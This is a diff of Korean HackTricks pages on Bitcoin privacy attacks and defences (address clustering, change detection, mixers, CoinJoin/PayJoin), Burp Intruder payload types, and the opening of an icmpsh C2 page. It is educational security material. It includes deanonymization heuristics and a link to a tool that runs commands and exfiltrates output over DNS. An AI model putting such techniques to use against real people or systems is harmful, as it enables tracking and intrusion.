- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개인 없이 합의 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트엔드와 투명하고 감사 가능한 백엔드를 갖추고 있습니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스에 대한 액세스를 부여하며, **보안 토큰**은 자산 소유를 나타냅니다.
|
||||
- **DeFi**는 중앙 관리 기관 없이 금융 서비스를 제공하는 것을 의미합니다.
|
||||
- **DEX**와 **DAO**는 각각 탈중앙화된 거래소 플랫폼과 탈중앙화된 자율 조직을 나타냅니다.
|
||||
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로 중개없이 합의 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며 사용자 친화적인 프론트엔드와 투명하고 감사 가능한 백엔드를 제공합니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 작용하는 반면 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스 이용을 허용하며 **보안 토큰**은 자산 소유를 나타냅니다.
|
||||
- **DeFi**는 중앙 당국 없이 금융 서비스를 제공하는 탈중앙화된 금융을 의미합니다.
|
||||
- **DEX** 및 **DAO**는 각각 탈중앙화된 거래소 플랫폼과 탈중앙화된 자율 조직을 나타냅니다.
|
||||
|
||||
## 합의 메커니즘
|
||||
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 트랜잭션 검증을 보장합니다:
|
||||
- **작업 증명 (PoW)**은 트랜잭션 검증을 위해 계산 능력을 의존합니다.
|
||||
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 유효성을 보장합니다:
|
||||
- **작업 증명 (PoW)**은 거래 확인을 위해 계산 능력을 사용합니다.
|
||||
- **지분 증명 (PoS)**은 유효성 검사자가 일정량의 토큰을 보유해야 하며 PoW에 비해 에너지 소비를 줄입니다.
|
||||
|
||||
## 비트코인 기본 사항
|
||||
|
||||
### 트랜잭션
|
||||
### 거래
|
||||
|
||||
비트코인 트랜잭션은 주소 간 자금 이전을 포함합니다. 트랜잭션은 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 이체를 시작할 수 있도록 보장합니다.
|
||||
비트코인 거래는 주소 간 자금 이체를 포함합니다. 거래는 디지턀 서명을 통해 유효성을 검증하며 개인 키 소유자만 이체를 시작할 수 있습니다.
|
||||
|
||||
#### 주요 구성 요소:
|
||||
|
||||
- **다중 서명 트랜잭션**은 트랜잭션을 승인하기 위해 여러 개의 서명이 필요합니다.
|
||||
- 트랜잭션은 **입력** (자금의 출처), **출력** (목적지), **수수료** (마이너에게 지불) 및 **스크립트** (트랜잭션 규칙)로 구성됩니다.
|
||||
- **다중 서명 거래**는 거래를 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 거래는 **입력** (자금 출처), **출력** (목적지), **수수료** (마이너에게 지불), 및 **스크립트** (거래 규칙)로 구성됩니다.
|
||||
|
||||
### 라이트닝 네트워크
|
||||
|
||||
라이트닝 네트워크는 채널 내에서 여러 트랜잭션을 허용하여 비트코인의 확장성을 향상시키는 것을 목표로 합니다. 최종 상태만 블록체인에 브로드캐스트됩니다.
|
||||
채널 내에서 여러 거래를 허용하여 블록체인에 최종 상태만 브로드캐스트하여 비트코인의 확장성을 향상시키려는 목적을 가지고 있습니다.
|
||||
|
||||
## 비트코인 개인 정보 보호 우려 사항
|
||||
## 비트코인 개인 정보 보호 우려
|
||||
|
||||
**공통 입력 소유** 및 **UTXO 변경 주소 감지**와 같은 개인 정보 보호 공격은 트랜잭션 패턴을 이용합니다. **믹서**와 **CoinJoin**과 같은 전략은 사용자 간의 트랜잭션 링크를 모호하게 만들어 익명성을 향상시킵니다.
|
||||
**공통 입력 소유 가정** 및 **UTXO 변경 주소 감지**와 같은 개인 정보 보호 공격은 거래 패턴을 이용합니다. **믹서** 및 **CoinJoin**과 같은 전략은 사용자 간 거래 링크를 숨겨 개인 정보 보호를 향상시킵니다.
|
||||
|
||||
## 익명으로 비트코인 획득하기
|
||||
## 익명으로 비트코인 획득
|
||||
|
||||
현금 거래, 채굴 및 믹서 사용 등의 방법이 있습니다. **CoinJoin**은 여러 트랜잭션을 혼합하여 추적을 복잡하게 만들고, **PayJoin**은 일반적인 트랜잭션으로 CoinJoin을 위장하여 더 높은 개인 정보 보호를 제공합니다.
|
||||
현금 거래, 채굴, 및 믹서 사용이 포함됩니다. **CoinJoin**은 여러 거래를 혼합하여 추적을 복잡하게 하고 **PayJoin**은 더 높은 개인 정보 보호를 위해 CoinJoin을 일반 거래처럼 위장합니다.
|
||||
|
||||
|
||||
# 비트코인 개인 정보 보호 공격
|
||||
|
||||
# 비트코인 개인 정보 보호 공격 요약
|
||||
|
||||
비트코인의 세계에서 트랜잭션의 개인 정보 보호와 사용자의 익명성은 종종 우려의 대상입니다. 여기에는 공격자가 비트코인 개인 정보를 침해할 수 있는 여러 일반적인 방법에 대한 단순화된 개요가 있습니다.
|
||||
비트코인 세계에서 거래의 개인 정보 보호와 사용자의 익명성은 종종 우려의 대상입니다. 여기에는 공격자가 비트코인 개인 정보를 침해할 수 있는 여러 일반적인 방법에 대한 간소화된 개요가 포함되어 있습니다.
|
||||
|
||||
## **공통 입력 소유 가정**
|
||||
|
||||
일반적으로 서로 다른 사용자의 입력이 하나의 트랜잭션에 결합되는 것은 드물기 때문에 복잡성 때문에 **동일한 소유자에게 속하는 것으로 가정되는 두 개의 입력 주소**입니다.
|
||||
일반적으로 서로 다른 사용자의 입력이 하나의 거래에서 결합되는 것은 복잡성 때문에 드물기 때문에 **동일한 소유자에게 속한 두 입력 주소가 동일한 거래에 있을 것으로 가정**됩니다.
|
||||
|
||||
## **UTXO 변경 주소 감지**
|
||||
|
||||
UTXO 또는 **사용되지 않은 트랜잭션 출력**은 트랜잭션에서 완전히 소비되어야 합니다. 일부만 다른 주소로 보내는 경우 나머지는 새로운 변경 주소로 이동합니다. 관찰자는 이 새 주소가 송신자에게 속한다고 가정하여 개인 정보를 침해할 수 있습니다.
|
||||
UTXO 또는 **사용되지 않은 거래 출력**은 거래에서 완전히 사용되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 이동합니다. 관찰자는 이 새 주소가 송신자에게 속한다고 가정하여 개인 정보를 침해할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
이를 완화하기 위해 믹싱 서비스를 사용하거나 여러 주소를 사용하여 소유권을 모호하게 할 수 있습니다.
|
||||
이를 완화하기 위해 믹싱 서비스를 사용하거나 여러 주소를 사용하여 소유권을 숨길 수 있습니다.
|
||||
|
||||
## **소셜 네트워크 및 포럼 노출**
|
||||
|
||||
사용자들은 때로는 비트코인 주소를 온라인으로 공유하여 해당 주소를 소유자와 연결하기 쉽게 만듭니다.
|
||||
사용자는 때로 온라인에서 비트코인 주소를 공유하여 해당 주소를 소유자에게 링크하는 것이 **쉽습니다**.
|
||||
|
||||
## **트랜잭션 그래프 분석**
|
||||
## **거래 그래프 분석**
|
||||
|
||||
트랜잭션은 그래프로 시각화될 수 있으며, 자금의 흐름을 기반으로 사용자 간의 잠재적인 연결을 보여줍니다.
|
||||
거래는 그래프로 시각화될 수 있으며 자금의 흐름에 따라 사용자 간의 잠재적 연결을 보여줍니다.
|
||||
|
||||
## **불필요한 입력 휴리스틱 (최적의 변경 휴리스틱)**
|
||||
## **불필요한 입력 휴리스틱 (최적 변경 휴리스틱)**
|
||||
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 트랜잭션을 분석하여 송신자에게 반환되는 변경 출력이 어떤 것인지 추측하는 것에 기반합니다.
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 변경이 송신자에게 반환되는 것을 추측합니다.
|
||||
|
||||
### 예시
|
||||
```bash
|
||||
|
@ -88,119 +89,89 @@ UTXO 또는 **사용되지 않은 트랜잭션 출력**은 트랜잭션에서
|
|||
```
|
||||
## **강제 주소 재사용**
|
||||
|
||||
공격자는 이전에 사용한 주소로 작은 금액을 보내어 수신자가 이를 다른 입력과 결합하여 향후 거래에서 주소를 연결하도록 하는 것을 희망합니다.
|
||||
공격자는 이전에 사용된 주소로 소액을 보내어 수신자가 이를 향후 거래에서 다른 입력과 결합하도록 하여 주소를 연결하는 것을 희망할 수 있습니다.
|
||||
|
||||
### 올바른 지갑 동작
|
||||
이 개인 정보 누출을 방지하기 위해 지갑은 이미 사용한 빈 주소에서 받은 코인을 사용하지 않아야 합니다.
|
||||
이 개인 정보 누출을 방지하기 위해 지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 합니다.
|
||||
|
||||
## **기타 블록체인 분석 기법**
|
||||
## **기타 블록체인 분석 기술**
|
||||
|
||||
- **정확한 지불 금액:** 거스름돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
|
||||
- **둥근 숫자:** 거래에서 둥근 숫자는 지불을 나타내며, 둥근이 아닌 출력은 거스름돈일 가능성이 높습니다.
|
||||
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있으므로, 분석가는 사용된 소프트웨어와 변경 주소를 식별할 수 있습니다.
|
||||
- **정확한 지불 금액:** 거스름돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 것일 가능성이 높습니다.
|
||||
- **둥근 숫자:** 거래에서 둥근 숫자는 지불을 나타내며, 비둥근 출력은 거스름돈일 가능성이 높습니다.
|
||||
- **지갑 지문:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 거스름돈 주소를 식별할 수 있습니다.
|
||||
- **금액 및 시간 상관 관계:** 거래 시간이나 금액을 공개하면 거래를 추적할 수 있습니다.
|
||||
|
||||
## **트래픽 분석**
|
||||
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소와 연결하여 사용자의 개인 정보를 침해할 수 있습니다. 특히 한 개체가 많은 비트코인 노드를 운영하는 경우, 거래를 모니터링하는 능력이 향상됩니다.
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결하여 사용자의 개인 정보를 침해할 수 있습니다. 특히 한 엔티티가 많은 비트코인 노드를 운영하는 경우, 거래를 모니터링할 수 있는 능력이 향상됩니다.
|
||||
|
||||
## 더 알아보기
|
||||
개인 정보 공격과 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 참조하십시오.
|
||||
개인 정보 공격 및 방어에 대한 포괄적인 목록은 [비트코인 위키의 비트코인 개인 정보](https://en.bitcoin.it/wiki/Privacy)를 방문하십시오.
|
||||
|
||||
|
||||
# 익명의 비트코인 거래
|
||||
# 익명 비트코인 거래
|
||||
|
||||
## 익명으로 비트코인을 얻는 방법
|
||||
|
||||
- **현금 거래**: 현금으로 비트코인을 얻는 방법.
|
||||
- **현금 대체 수단**: 상품권을 구매하고 온라인에서 비트코인으로 교환하는 방법.
|
||||
- **마이닝**: 비트코인을 얻는 가장 개인적인 방법은 마이닝을 통해 얻는 것입니다. 특히 개인적으로 마이닝을 할 경우, 마이닝 풀은 마이너의 IP 주소를 알 수 있을 수 있습니다. [마이닝 풀 정보](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔칠 수도 있지만, 이는 불법이며 권장되지 않습니다.
|
||||
- **현금 거래**: 현금으로 비트코인을 획득합니다.
|
||||
- **현금 대체 수단**: 상품권을 구매하고 온라인에서 비트코인으로 교환합니다.
|
||||
- **채굴**: 비트코인을 얻는 가장 개인 정보 보호 수준이 높은 방법은 채굴을 통해 얻는 것이며, 특히 혼자서 하는 경우에는 채굴 풀이 채굴자의 IP 주소를 알 수 있을 수 있습니다. [채굴 풀 정보](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔치는 것은 익명으로 획득할 수 있는 또 다른 방법일 수 있지만, 불법이며 권장되지 않습니다.
|
||||
|
||||
## 혼합 서비스
|
||||
|
||||
혼합 서비스를 사용하면 사용자는 **비트코인을 보내고 다른 비트코인을 받아** 원래 소유자를 추적하기 어렵게 만들 수 있습니다. 그러나 이를 위해서는 서비스가 로그를 유지하지 않고 실제로 비트코인을 반환하지 않을 것을 신뢰해야 합니다. 대체로 혼합 옵션으로는 비트코인 카지노가 있습니다.
|
||||
혼합 서비스를 사용하면 사용자는 **비트코인을 보내고** 다른 **비트코인을 반환** 받아 원래 소유자를 추적하기 어렵게 만들 수 있습니다. 그러나 이를 위해서는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환하는 것에 대한 신뢰가 필요합니다. 대체 혼합 옵션에는 비트코인 카지노가 포함됩니다.
|
||||
|
||||
## CoinJoin
|
||||
## 코인조인
|
||||
|
||||
**CoinJoin**은 여러 사용자의 여러 거래를 하나로 병합하여 입력과 출력을 매칭하려는 노력을 어렵게 만듭니다. 그러나 고유한 입력과 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
**코인조인**은 여러 사용자의 다양한 거래를 하나로 병합하여 입력과 출력을 매칭하려는 누군가의 과정을 복잡하게 만듭니다. 그러나 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
|
||||
CoinJoin을 사용한 예시 거래로는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있습니다.
|
||||
코인조인을 사용한 예시 거래에는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 포함될 수 있습니다.
|
||||
|
||||
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 참조하십시오. Ethereum에서 비슷한 서비스인 [Tornado Cash](https://tornado.cash)는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
더 많은 정보는 [코인조인](https://coinjoin.io/en)을 방문하십시오. 이더리움에서 유사한 서비스를 찾으려면 [토네이도 캐시](https://tornado.cash)를 확인하십시오. 이 서비스는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
|
||||
## PayJoin
|
||||
## 페이조인
|
||||
|
||||
CoinJoin의 변형인 **PayJoin** (또는 P2EP)은 두 당사자 (예: 고객과 상인) 간의 거래를 일반적인 거래로 위장시키며, CoinJoin의 특징인 동일한 출력이 없습니다. 이로써 일반적인 입력 소유성 휴리스틱을 감지하기가 매우 어려워지며, 거래 감시 엔티티가 사용하는 휴리스틱을 무효화할 수 있습니다.
|
||||
코인조인의 변형인 **페이조인** (또는 P2EP)은 두 당사자 (예: 고객 및 상인) 간의 거래를 일반 거래로 위장시키며, 코인조인의 특징적인 동일한 출력을 갖지 않아 감지하기 매우 어렵고 거래 감시 엔티티가 사용하는 공통 입력 소유 추론을 무효화할 수 있습니다.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
위의 거래와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별할 수 없는 상태로 개인 정보 보호를 향상시킬 수 있습니다.
|
||||
## **암호화폐에서 개인 정보 보호를 위한 최상의 실천 방법**
|
||||
|
||||
**PayJoin의 활용은 전통적인 감시 방법을 크게 방해할 수 있으며**, 거래 개인 정보 보호의 추구에서 유망한 발전입니다.
|
||||
### **지갑 동기화 기술**
|
||||
|
||||
개인 정보 보호와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 주요 방법이 있습니다:
|
||||
|
||||
# 암호화폐에서 개인 정보 보호를 위한 최상의 실천 방법
|
||||
- **풀 노드**: 전체 블록체인을 다운로드하여 풀 노드는 최대한의 개인 정보 보호를 보장합니다. 사용자가 관심을 가지는 거래나 주소를 식별하는 것을 불가능하게 합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 지갑이 네트워크 관찰자에게 특정 관심사를 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 가벼운 지갑은 이러한 필터를 다운로드하며 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
|
||||
## **지갑 동기화 기술**
|
||||
### **익명성을 위한 Tor 활용**
|
||||
|
||||
개인 정보 보호와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 돋보입니다:
|
||||
비트코인이 피어 투 피어 네트워크에서 작동하기 때문에 Tor를 사용하여 IP 주소를 가리는 것이 권장됩니다. 네트워크와 상호 작용할 때 개인 정보 보호를 강화합니다.
|
||||
|
||||
- **풀 노드**: 전체 블록체인을 다운로드하여 풀 노드는 최대한의 개인 정보 보호를 보장합니다. 모든 거래 내역이 로컬에 저장되어 있으므로, 상대방이 사용자가 관심을 가지고 있는 거래나 주소를 식별하는 것은 불가능합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 지갑이 특정 관심사를 네트워크 관찰자에게 노출하지 않고도 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하며, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
### **주소 재사용 방지**
|
||||
|
||||
## **익명성을 위한 Tor의 활용**
|
||||
개인 정보 보호를 보호하기 위해 모든 거래마다 새 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 엔터티에 연결되어 개인 정보 보호가 손상될 수 있습니다. 현대적인 지갑은 주소 재사용을 방지하기 위한 디자인을 채택하고 있습니다.
|
||||
|
||||
비트코인이 P2P 네트워크에서 작동하기 때문에, 네트워크와 상호 작용할 때 IP 주소를 가리기 위해 Tor를 사용하는 것이 좋습니다.
|
||||
### **거래 개인 정보 보호를 위한 전략**
|
||||
|
||||
## **주소 재사용 방지**
|
||||
- **여러 거래**: 지불을 여러 거래로 분할하면 거래 금액을 숨기고 개인 정보 보호 공격을 방해할 수 있습니다.
|
||||
- **거스름돈 회피**: 거스름돈이 필요 없는 거래를 선택하면 거스름돈 감지 방법을 방해하여 개인 정보 보호를 강화할 수 있습니다.
|
||||
- **여러 거스름돈 출력**: 거스름돈 회피가 불가능한 경우 여러 거스름돈 출력을 생성하면 여전히 개인 정보 보호를 향상시킬 수 있습니다.
|
||||
|
||||
개인 정보 보호를 보호하기 위해 각 거래에 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래를 동일한 개체에 연결하여 개인 정보 보호를 침해할 수 있습니다. 현대적인 지갑은 주소 재사용을 방지하기 위한 디자인을 채택하고 있습니다.
|
||||
# **모네로: 익명성의 상징**
|
||||
|
||||
## **거래 개인 정보 보호를 위한 전략**
|
||||
디지털 거래에서 절대적인 익명성의 필요를 다루며, 개인 정보 보호에 높은 기준을 설정합니다.
|
||||
|
||||
- **여러 거래**: 지불을 여러 거래로 분할하면 거래 금액을 모호하게 만들어 개인 정보 보호 공격을 방지할 수 있습니다.
|
||||
- **거스름돈 회피**: 거스름돈 출력이 필요하지 않은 거래를 선택함으로써 거스름돈 감지 방법을 방해하여 개인 정보 보호를 향상시킵니다.
|
||||
- **여러 거스름돈 출력**: 거스름돈 회피가 불가능한 경우에도 여러 거스름돈 출력을 생성함으로써 여전히 개인 정보 보호를 개선할 수 있습니다.
|
||||
# **이더리움: 가스와 거래**
|
||||
|
||||
# **Monero: 익명성의 상징**
|
||||
### **가스 이해**
|
||||
|
||||
Monero는 디지털 거래에서 절대적인 익명성의 필요성을 해결하며, 개인 정보 보호에 대한 높은 기준을 제시합니다.
|
||||
가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며 **gwei**로 가격이 매겨집니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)가 드는 거래에는 가스 한도와 기본 수수료, 채굴자를 동기화하기 위한 팁이 포함됩니다. 사용자는 과다 지불을 방지하기 위해 최대 수수료를 설정하고 초과분은 환불됩니다.
|
||||
|
||||
# **Ethereum: 가스와 거래**
|
||||
### **거래 실행**
|
||||
|
||||
## **가스 이해**
|
||||
|
||||
가스는 Ethereum에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 비용이 드는 거래는 가스 한도와 기본 수수료, 채굴자를 동기화하기 위한 팁을 포함하고 있습니다. 사용자는 최대 수수료를 설정하여 과금을 방지하고, 초과 금액은 환불됩니다.
|
||||
|
||||
## **거래 실행**
|
||||
|
||||
Ethereum에서의 거래는 송신자와 수신자로 구성되며, 사용자나 스마트 계약 주소가 될 수 있습니다. 거래에는 수수료가 필요하며, 채굴되어야 합니다. 거래에서 중요한 정보는 수신자, 송신자의 서명, 가치, 선택적 데이터, 가스 한도 및 수수료입니다. 특히, 송신자의 주소는 서명에서 유추되므로 거래 데이터에 필요하지 않습니다.
|
||||
이더리움의 거래에는 송신자와 수신자가 포함되며, 사용자 또는 스마트 계약 주소가 될 수 있습니다. 수수료가 필요하며 채굴되어야 합니다. 거래에 필요한 주요 정보는 수신자, 송신자의 서명, 가치, 선택적 데이터, 가스 한도 및 수수료를 포함합니다. 특히, 송신자의 주소는 서명에서 유추되어 거래 데이터에 필요하지 않습니다.
|
||||
|
||||
이러한 실천 방법과 메커니즘은 개인 정보 보호와 보안을 우선시하는 사람들에게 필수적입니다.
|
||||
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||
* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,43 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 기본 Payloads
|
||||
|
||||
* **간단한 목록:** 각 줄에 항목이 포함된 목록입니다.
|
||||
* **런타임 파일:** 메모리에 로드되지 않은 런타임에서 읽은 목록입니다. 큰 목록을 지원합니다.
|
||||
* **대소문자 변경:** 문자열 목록에 일부 변경을 적용합니다(변경 없음, 소문자로 변환, 대문자로 변환, Proper 이름 - 첫 글자 대문자, 나머지는 소문자로 -, Proper 이름 - 첫 글자 대문자, 나머지는 그대로 -).
|
||||
* **숫자:** X에서 Y까지 Z 단계 또는 임의로 숫자를 생성합니다.
|
||||
* **간단한 목록:** 각 줄에 항목이 포함된 목록
|
||||
* **런타임 파일:** 메모리에 로드되지 않고 런타임에서 읽히는 목록. 큰 목록을 지원합니다.
|
||||
* **대소문자 변경:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자로, 대문자로, Proper 이름으로 - 첫 글자 대문자 및 나머지는 소문자로 -, Proper 이름으로 - 첫 글자 대문자 및 나머지는 그대로 -.
|
||||
* **숫자:** X부터 Y까지 Z 단계 또는 무작위로 숫자 생성.
|
||||
* **브루트 포서:** 문자 집합, 최소 및 최대 길이.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : burpcollab을 통해 DNS 요청을 통해 명령을 실행하고 출력을 가져오는 Payload입니다.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : 명령을 실행하고 burpcollab로 DNS 요청을 통해 출력을 가져오는 페이로드.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
86
c2/icmpsh.md
86
c2/icmpsh.md
|
@ -1,93 +1,51 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
